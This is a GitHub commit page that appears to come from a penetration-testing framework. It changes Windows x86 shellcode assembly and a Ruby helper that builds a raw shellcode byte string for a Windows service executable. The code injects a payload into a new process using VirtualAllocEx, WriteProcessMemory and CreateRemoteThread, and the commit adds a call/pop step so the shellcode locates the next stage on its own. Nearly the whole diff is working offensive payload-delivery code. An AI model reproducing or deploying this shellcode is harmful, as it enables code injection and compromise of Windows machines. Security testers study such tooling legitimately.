Skip to content

Commit c43e3cf

Browse files
Florian Gaultieragix
authored andcommitted
Improve block_create_remote_process to point on shellcode everytime
1 parent 25d48b7 commit c43e3cf

File tree

5 files changed

+16
-16
lines changed

5 files changed

+16
-16
lines changed

external/source/shellcode/windows/x86/src/block/block_create_remote_process.asm

Lines changed: 7 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
;-----------------------------------------------------------------------------;
22
; Author: agix (florian.gaultier[at]gmail[dot]com)
33
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
4-
; Size: 137 bytes
4+
; Size: 307 bytes
55
;-----------------------------------------------------------------------------;
66

77
[BITS 32]
@@ -44,9 +44,13 @@ push ecx ;hProcess
4444
push 0x3F9287AE ;call VirtualAllocEx()
4545
call ebp
4646

47+
call me2
48+
me2:
49+
pop edx
50+
4751
mov edi, eax
4852
mov ecx, [esi]
49-
lea edx, [ebp+0x12a] ;pointer on the next shellcode
53+
lea edx, [edx+0x47] ;pointer on the next shellcode
5054
push esp
5155
push 0x00001000 ;Next Shellcode Size
5256
push edx ;
@@ -79,4 +83,4 @@ call ebp ;call CloseHandle()
7983

8084
push edi
8185
push 0x56A2B5F0
82-
call ebp ;call ExitProcess(0)
86+
call ebp ;call ExitProcess(0)

external/source/shellcode/windows/x86/src/block/block_service.asm

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
;-----------------------------------------------------------------------------;
22
; Author: agix (florian.gaultier[at]gmail[dot]com)
33
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
4-
; Size: 137 bytes
4+
; Size: 448 bytes
55
;-----------------------------------------------------------------------------;
66

77
[BITS 32]

external/source/shellcode/windows/x86/src/single/single_create_remote_process.asm

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,7 @@
11
;-----------------------------------------------------------------------------;
22
; Author: agix (florian.gaultier[at]gmail[dot]com)
33
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
4-
; Version: 1.0 (28 July 2009)
5-
; Size: 189 bytes + strlen(libpath) + 1
4+
; Size: 307 bytes
65
; Build: >build.py single_create_remote_process
76
;-----------------------------------------------------------------------------;
87

external/source/shellcode/windows/x86/src/single/single_service_stuff.asm

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,7 @@
11
;-----------------------------------------------------------------------------;
22
; Author: agix (florian.gaultier[at]gmail[dot]com)
33
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
4-
; Version: 1.0 (28 July 2009)
5-
; Size: 189 bytes + strlen(libpath) + 1
4+
; Size: 448 bytes
65
; Build: >build.py single_service_stuff
76
;-----------------------------------------------------------------------------;
87

lib/msf/util/exe.rb

Lines changed: 6 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -524,9 +524,6 @@ def self.to_win32pe_service(framework, code, opts={})
524524
precode_size -= 0x0d
525525
svcctrlhandler_code_offset = precode_size + pushed_service_name.length
526526

527-
precode_size += 0xe4
528-
shellcode_code_offset = precode_size + (pushed_service_name.length * 2)
529-
530527
# code_service could be encoded in the future
531528
code_service =
532529
"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
@@ -552,11 +549,12 @@ def self.to_win32pe_service(framework, code, opts={})
552549
"\x6C\x6C\x33\x32\x68\x72\x75\x6E\x64\x89\xE1\x56\x50\x57\x57\x6A" +
553550
"\x44\x57\x57\x57\x51\x57\x68\x79\xCC\x3F\x86\xFF\xD5\x8B\x0E\x6A" +
554551
"\x40\x68\x00\x10\x00\x00\x68"+[code.length].pack('<I')+"\x57\x51\x68\xAE\x87" +
555-
"\x92\x3F\xFF\xD5\x89\xC7\x8B\x0E\x8D\x95"+[shellcode_code_offset].pack('<I')+"\x54\x68" +
556-
[code.length].pack('<I')+"\x52\x50\x51\x68\xC5\xD8\xBD\xE7\xFF\xD5\x31\xC0" +
557-
"\x8B\x0E\x50\x50\x50\x57\x50\x50\x51\x68\xC6\xAC\x9A\x79\xFF\xD5" +
558-
"\x8B\x0E\x51\x68\xC6\x96\x87\x52\xFF\xD5\x8B\x4E\x04\x51\x68\xC6" +
559-
"\x96\x87\x52\xFF\xD5\x57\x68\xF0\xB5\xA2\x56\xFF\xD5"
552+
"\x92\x3F\xFF\xD5\xE8\x00\x00\x00\x00\x5A\x89\xC7\x8B\x0E\x8D\x52" +
553+
"\x47\x54\x68"+[code.length].pack('<I')+"\x52\x50\x51\x68\xC5\xD8\xBD\xE7\xFF" +
554+
"\xD5\x31\xC0\x8B\x0E\x50\x50\x50\x57\x50\x50\x51\x68\xC6\xAC\x9A" +
555+
"\x79\xFF\xD5\x8B\x0E\x51\x68\xC6\x96\x87\x52\xFF\xD5\x8B\x4E\x04" +
556+
"\x51\x68\xC6\x96\x87\x52\xFF\xD5\x57\x68\xF0\xB5\xA2\x56\xFF\xD5"
557+
560558

561559
return to_winpe_only(framework, code_service + code, opts)
562560
end

0 commit comments

Comments
 (0)